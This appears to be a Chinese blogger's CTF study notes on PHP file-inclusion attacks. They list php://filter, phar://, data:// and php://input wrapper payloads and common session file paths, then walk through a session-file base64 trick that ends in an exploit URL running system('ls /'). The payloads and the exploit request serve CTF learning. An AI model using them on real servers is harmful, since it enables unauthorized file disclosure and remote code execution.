开启掘金成长之旅!这是我参与「掘金日新计划 · 12 月更文挑战」的第13天,点击查看活动详情
0x5、文件包含
1发现危险函数
2有文件上传点
_GET['x']
3is_file等函数的参数完全可控 is_file($a)
phar:///文件路径
php://filter/read=convert.base64-encode/resource=xxx.php
php://filter伪协议可以嵌套,套一层要求的$file eg [BSidesCF 2020]Had a bad day
php://filter/read=convert.base64-encode/woofers/resource=flag
php://filter/write=convert.base64-decode/woofers/resource=flag
php://filter/read=string.rot13/resource=index.php #再用ctfcrack解码
php://filter/write=string.rot13/resource=index.php
php://filter/convert.iconv.utf8.utf16le/resource=a.php
php://filter/convert.iconv.utf8.utf7/resource=a.php
echo iconv('utf-7','utf-8','flag+AHs-0a7160606ec679174478f508557f415c+AH0AIgA7 ?+AD4-'); # 到php中解码
php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
echo iconv("UCS-2LE","UCS-2BE","?<hp phpipfn(o;)>?");
data://text/plain,
data:, +一定要变成%2b
php://input (读取post数据)
一、SESSION文件包含
看到session_start() 注意一点
首先了解一下PHP文件包含漏洞----包含session
利用条件:session文件路径已知,且其中内容部分可控。
姿势:
php的session文件的保存路径可以在phpinfo的session.save_path看到。
常见的php-session存放位置:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session 的文件名格式为 sess_[phpsessid]。而 phpsessid 在发送的请求的 cookie 字段中可以看到。
要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。
base64_encode
能包含,并且控制session文件,但要写入可用的payload,还需要绕过:
username);
如前面所示,输入的用户名会被base64加密。如果直接用php伪协议来解密整个session文件,由于序列化的前缀,势必导致乱码。
考虑一下base64的编码过程。比如编码abc。
未编码: abc
转成ascii码: 97 98 99
转成对应二进制(三组,每组8位): 01100001 01100010 01100011
重分组(四组,每组6位): 011000 010110 001001 100011
每组高位补零,变为每组8位:00011000 00010110 00001001 00100011
每组对应转为十进制: 24 22 9 35
查表得: Y W J j
考虑一下session的前缀:username|s:12:",中间的数字12表示后面base64串的长度。当base64串的长度小于100时,前缀的长度固定为15个字符,当base64串的长度大于100小于1000时,前缀的长度固定为16个字符。
由于16个字符,恰好满足一下条件:
16个字符 => 16 * 6 = 96 位 => 96 mod 8 = 0
也就是说,当对session文件进行base64解密时,前16个字符固然被解密为乱码,但不会再影响从第17个字符后的部分也就是base64加密后的username。
chybetachybetachybetachybetachybetachybetachybetachybetachybeta
?file=php://filter/read=convert.base64-decode/resource=/tmp/sess_389e74d38d93d60df71875ff093d272f&1=system('ls /');